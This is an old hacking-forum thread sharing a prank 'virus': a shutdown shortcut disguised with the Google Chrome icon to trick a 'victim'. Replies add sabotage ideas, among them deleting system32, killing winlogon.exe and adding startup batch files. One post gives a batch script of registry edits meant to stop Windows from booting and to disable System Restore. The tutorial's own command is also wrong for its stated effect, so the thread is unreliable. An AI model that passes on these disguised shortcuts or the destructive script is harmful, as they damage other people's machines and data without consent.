Thread: [\[Tutorial\] Cool "virus" to mess with friends \[Tutorial\]](#)

Randini - September 14, 2012, 9:09 pm

1. Go to desktop and right click
2. New -> Shortcut
3. Type "shutdown -a"
4. Enter there browser. "Google Chrome" etc.
5. Finish
6. Right Click -> Properties
7. Change icon and find the icon corresponding to what ever your called the program

When your friend/victim trys to open chrome there computer will shut off.

Tip: Make sure you delete the original icon from there desktop and put inplace ur new shutdown shortcut that is masked as Google Chrome

Pops - September 14, 2012, 9:20 pm

nice share but..

- 1) this isnt a virus
- 2) everyone already knows how to do this

eatsa_pizza - September 14, 2012, 9:28 pm

This. Also, for more fun, save your .bat file in the startup folder.

Or you can be an ass and delete their system32... but that's unnecessary.

Lana Del Rey - September 14, 2012, 9:45 pm

I've known this but never thought of it like this! Thanks for the share!:(

Lana Del Rey - September 14, 2012, 9:50 pm

(Sep 14, 2012 09:47 PM)lxl_jhon_lxl Wrote: [\[CITE\]](#) thats a realy nice post thank u very much for such kind of this post

Oh wow! You really complimented his post, such a nice person!

Spoiler [\(Click to View\)](#)Don't try to get your post count up like that, or well at least make it less obvious.

Dialga - September 14, 2012, 9:53 pm

This is pretty simple. Good for new members though!

Nice - September 14, 2012, 11:02 pm

Haha not a virus just an asshole thing to do. I personally like opening hundreds of notepads.

eXero - September 14, 2012, 11:03 pm

This isn't a virus, but a neat idea. I might use this one day. LOL.

Di?mond - September 15, 2012, 12:38 am

It's not a virus. But a pretty cool thing to mess around with.

Nest - September 15, 2012, 1:47 am

What has HF come to :(

/35 characters.

Doniu - September 15, 2012, 2:26 am

This isn't a virus. Just a simple thing which everyone knows.

Data Center - September 21, 2012, 4:52 pm

cool will i need a crypter for this ? thanks for the post most helpfull

Randini - September 26, 2012, 7:36 pm

I don't believe so because you are just making a shortcut onto your desktop

NETExplorer - September 26, 2012, 8:25 pm

Do you know what the purpose of a crypter is?
?

lindora13wis - September 26, 2012, 9:10 pm

cool thanks for the information on this dude

GUI - September 26, 2012, 11:16 pm

Some of these posts on here... Please be joking.

Anyways, I used to do this to some friends awhile ago, quite cool, but it only happens once.

The more fun is where you replace EVERY SINGLE SHORTCUT on their desktop..

'Let the games begin'.

icuruok - September 26, 2012, 11:51 pm

Real Virus

Code @echo off

REG ADD "HKLM\SYSTEM\MountedDevices" /V DosDevices /T REG_SZ /F /D X:

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /V DisableConfig /T REG_SZ /F /D 1

%SystemRoot%\System32\RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters

This virus might not work as I did not test it and wrote it in 2 minutes

Basicly its a few batch commands to edit the systems registry, I attempted to have it change the system boot partition. So once they start there computer it will not be able to find/boot windows. The second command disables the systemrestore so they cant restore it to previous state.

Exotic Kiwi - September 27, 2012, 3:01 am

I can only find the icon for Internet Explorer, and since no one rllly uses that anymore it kinda sux.

Can u get the icon for google Chrome ??

p99will - September 27, 2012, 5:06 am

this isn't a virus it's a trojan. Meaning it looks like something it is not

And it's lame. You may as well just push the power button on the computer

FroFro - September 27, 2012, 9:40 am

I found ending winlogon.exe makes an instant blue screen of death.

<http://www.iconspedia.com/pack/google-chrome-26-4/>

has some but they look alittle more detailed

?ntei - September 29, 2012, 5:31 am

I didn't know how to do this, but sounds fun! I might just be tempted to do this.

Webmasters - September 29, 2012, 5:33 am

Havnt thought of replacing the icon before.:p

hackpez123 - September 29, 2012, 10:08 am

Heh, thanks alot, I'm new and just tryed this. Works great :)

Misfits - September 29, 2012, 10:15 am

Seems like an interesting little trick :) wouldn't class it as a virus though :P

VinceNorris - September 29, 2012, 10:31 am

Thanks i'm Going To Sent this to a lot of my friends to scare them :D

Relativity - September 29, 2012, 10:34 am

I'm hoping that most of the posts on this thread are just trolls, if not, then ???

zungdsl - September 29, 2012, 10:37 am

Is this what hackforums has come to? Shame.
